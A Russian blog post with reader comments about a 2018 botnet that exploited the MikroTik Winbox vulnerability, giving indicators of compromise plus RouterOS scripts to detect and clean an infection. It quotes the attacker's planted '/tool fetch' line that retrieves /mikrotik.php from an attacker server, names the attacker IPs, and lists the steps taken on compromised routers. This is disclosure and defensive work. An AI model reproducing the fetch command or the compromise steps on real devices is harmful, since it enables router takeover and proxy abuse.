Второго августа получил рассылку “MikroTik: URGENT security advisory” о том, что некий ботнет использует уязвимость Winbox Service для взлома и заражения устройств.
Из текста рассылки стало ясно, что уязвимость закрыта еще 23 апреля 2018 года в версии v6.42.1. Начал проверять подшефные устройства и нашел несколько роутеров с 6.40.1, один из которых был заражен.
Что делает атакующий скрипт?
- Получает список пользователей через уязвимость (т.е. смена admin на что-то другое не спасает).
- Пытается зайти под всеми полученными логинами и отсеивает заблокированные.
- Найдя активный логин, получает его пароль, заходит в систему.
Затем:
- Отключает все drop правила на файрволле.
- Включает socks (IP – Socks) на нестандартном порте, в моем случае 4145.
- Добавляет скрипт
/tool fetch address=95.154.216.166 port=2008 src-path=/mikrotik.php mode=http keep-result=no
в System – Scripts - Добавляет запуск скрипта в System – Scheduler.
- Удаляет существующие скрипты (по сообщениям на форуме Mikrotik).
Атака шла с адреса 95.154.216.151, который принадлежит iomart Hosting Limited, написал им сообщение через сайт, но никакой реакции пока нет, адрес активен.
Адрес 95.154.216.166 так же активен, но файла mikrotik.php на нем нет.
Вот тут можно увидеть сообщения от пострадавших:
www.abuseipdb.com/check/95.154.216.151
www.abuseipdb.com/check/95.154.216.166
Если ваш Mikrotik еще не обновлен и порт Winbox открыт для всех, обязательно проверьте устройство.
- Проверяем, что активны drop правила в IP – Firewall.
- Проверяем socks, должен быть отключен и порт должен быть по умолчанию – 1080.
- Проверяем наличие левых скриптов в System – Scripts и System – Scheduler.
- Проверяем наличие файла miktorik.php
- Делаем /export в терминале и проверяем конфигурацию глазами.
Пользователь gotsprings на форуме Mikrotik предложил такой вариант проверки:
:if ([/ip socks get port] = 1080) do={:log info "Socks port is still Default."} else={:log info "Socks Port changed Possible infection!"}
:if ([/ip socks get enabled] = false) do={:log info "Socks is not on."} else={:log info "Socks is enabled... that could be bad!"}
:if ([:len [/file find name="mikrotik.php"]] > 0) do={:log info "!!!mikrotik.php!!! File Detected!"} else={:log info "mikrotik.php not found."}
:if ([:len [/file find name="Mikrotik.php"]] > 0) do={:log info "!!!Mikrotik.php!!! File Detected!"} else={:log info "Mikrotik.php not found."}
:if ([:len [/user find name="service"]] > 0) do={:log info "!!!YOU WERE BREACHED!!!"} else={:log info "No sign of the service user."}
Open you log and look at the results. If you have a result with "!" you might have a problem.
Очевидно, что очень плохо держать открытый для всех Winbox Service, но в некоторых случаях это случается, не забывайте обновлять свои устройства!
Ссылки по теме:
forum.mikrotik.com/viewtopic.php?f=21&t=137572
thehackernews.com/2018/08/mikrotik-router-hacking.html
Комментарии (31)
denis-19
04.08.2018 11:30Начал проверять подшефные устройства и нашел несколько роутеров с 6.40.1, один из которых был заражен.
А почему только один оказался заражен? Остальные были подругому подключены\настроены или что там было разного в них, что только один атакован реальной угрозой?xl-tech Автор
04.08.2018 11:48Думаю, во время сканирования ботнетом интернета роутеры просто были отключены (они стоят в торговых точках, где на ночь отключают электричество), так что просто повезло.
awsswa59
04.08.2018 12:28Есть же стандартный скрипт блокировки на перебор паролей RDP с блокировкой порта 3389 после 5 попыток подряд.
Что мешает переделать на порт 8291, время с 23 до 8 утра и блокировкой на месяц?
kniko.net/block-brute-force-on-microsoft-rdp-using-mikrotik-routerNaves
04.08.2018 16:39+1А перебора паролей нету, там сразу подключаются с нужным пользователем, и вливают команды. Обычно первый же пользователь из списка рабочий. Поможет только закрытие порта, whitelist или port-knock.
eteh
04.08.2018 19:13У меня на работе по белому ip постоянно пытаются атаковать системообразующий роутер, ну пусть пытаются… Дома с серым ip таких проблем нет.
Chupaka
05.08.2018 14:37Версию-то оси огласите :)
eteh
06.08.2018 11:146.42.3
Chupaka
06.08.2018 15:00Была бы просто 6.42 — оценили бы скорость работы сканеров :)
В теме на Руборде сегодня спрашивали, почему при чистой установке CHR на ESXi у юзера admin ограничены права и где взять пароль от юзера router с полным доступом. Оказалось, роутер после запуска успел пять минут повисеть в Интернете без пароля.
Оно, конечно, не совсем в тему (хотя обсуждаемая уязвимость = по сути отсутствие пароля), но в целом тоже показательно.
nafgne
04.08.2018 20:34Абузить IP вообще бесполезно. Я как-то раз посмотрел логи авторизации, разозлился и разослал жалобы по всему списку, используя данные из whois. В итоге получил 3 автоотлупа, 1 рекомендацию писать на то самое мыло, на которое слал, и игнор от остальных. Брутфорс с большинства адресов так и идёт.
volkeu
05.08.2018 16:19+1Команды с форума недостаточно проверяют, как я выяснил. Из того, что я нашёл, проверить, заражён ли роутер (и сразу же пофиксить) можно этими командами:
# Firewall auto-fix - dangerous if you had disabled drop rules before infection (can't imagine why, though) :if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Firewall drop rules were disabled"; /ip firewall filter enable [find action=drop]} :if ([:len [/ip firewall filter find chain=input action=accept dst-port="8291"]] > 0) do={:put "Winbox had default firewall accept rule";/ip firewall filter remove [find chain=input action=accept dst-port="8291"]} # Use this if you need to check firewall rules manually :if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Disabled firewall drop rules:"; /ip firewall filter print where action=drop disabled} # Winbox :if ([/ip service get winbox disabled] != true) do={:put "Winbox was enabled"; /ip service disable winbox} # Socks :if ([/ip socks get port] != 1080) do={:put "Socks Port was not 1080"; /ip socks set port=1080} :if ([/ip socks get enabled] != false) do={:put "Socks was enabled"; /ip socks set enabled=no} :if ([:len [/ip socks access find src-address~"95.154.216.128"]] > 0) do={:put "ip socks access had rule for 95.154.216.128"; /ip socks access remove [find src-address~"95.154.216.128"]} # Script and scheduler :if ([:len [/system script find source~"ikrotik.php"]] > 0) do={:put "Script containing \"ikrotik.php\" found"; :foreach s in=[/system script find source~"ikrotik.php"] do={/system scheduler remove [find on-event~[/system script get $s name]]}; /system script remove [find source~"ikrotik.php"]} # File mikrotik.php :if ([:len [/file find name="mikrotik.php"]] + [:len [/file find name="Mikrotik.php"]] > 0) do={ :put "File [Mm]ikrotik.php was found"; /file remove [find name="mikrotik.php"]; /file remove [find name="Mikrotik.php"];} # User "service" :if ([:len [/user find name="service"]] > 0) do={:put "User \"service\" existed"; /user remove [find name="service"]}
Даже скрипт написал, и закинул в pastebin.com/GAtA2mZa
zigrus
06.08.2018 13:42хочу обновить свой микротик а он выдает это
ERROR: not enough disk space, 7.1MiB is required and only 7.0MiB is free
места немного не хватает
Free HDD Space 7.0 MiB
Total HDD Size 16.0 MiB
как его освободить.
делать сброс как то не хочетсяxl-tech Автор
06.08.2018 14:44На форуме Микротика тоже жалуются на версию с 16МБ памяти. Из советов — удалить неиспользуемые пакеты, перезагрузиться и попробовать прошить еще раз, если не поможет, использовать wiki.mikrotik.com/wiki/Manual:Netinstall
Foggy4
А в каких случаях необходимо держать открытый для всех Winbox Service? Логика подсказывает, что если только это не ваш личный роутер с которым вы вольны делать все, что угодно, инструменты управления должны быть максимально защищены.
xl-tech Автор
Попробуйте объяснить это некоторым оутсортерам, начальство жалобы игнорирует. Сервис открыт, потому что им «так удобно». Взломанный роутер как раз обслуживается одной из таких компаний. Заменил слово «необходимо» :)
psycho-coder
«PortKnocking? Не, не слышал!» ))
Mur81
Это на самом деле повод отказаться от услуг этой организации т.к. после этого возникают вопросы к их компетенции. Пусть свои удобства применяют в другом месте.
Есть различные способы получать удалённый доступ к инструментам управления не выставляя при этом их в открытый доступ. И это не так уж не удобно.
xl-tech Автор
Я бы рад, но решаю не я, фирма аффилирована с руководством.
IgorGIV
Вы не могли бы уточнить, я правильно понимаю, что под «сервис открыт», Вы подразумеваете, что он открыт наружу? Т.е. если вход для winbox у меня открыт только с определённого IP/диапазона IP-адресов изнутри локальной сети, то мне беспокоиться не стоит?
xl-tech Автор
Я бы обновил роутеры в любом случае, может завтра в вашей локальной сети заведется троян с функционалом использования этой уязвимости. А так да, от атак извне вы защищены.
IgorGIV
Да, обновления — это само собой. Просто был интересен вектор. Спасибо за пояснение!
JerzyEx
А вы с 6.40.1 на какую версию обновились? А то я сегодня перепрошил на последнюю (6.42.6) и схватил кучу проблем с доступностью извне и двумя провайдерами, кажется ещё и L2TP сервер поломали
Meklon
У меня l2tp нормально работает. И сервер и клиенты. Версия последняя.
JerzyEx
А с андроида пытались подключиться к Микротику? Пока нет возможности посмотреть, что на виндоус клиентах, а вот андроид стопорится после ISAKMP-SA established
Meklon
L2TP + IPsec PSK. Все норм. Только сегодня подключал
JerzyEx
Спасибо за инфу, буду разбираться у себя дальше
Meklon
Если будет нужно — кину кусок конфига или логи.
JerzyEx
Благодарю, но после пары раз полного сброса конфигурации и восстановления её из бекапа всё заработало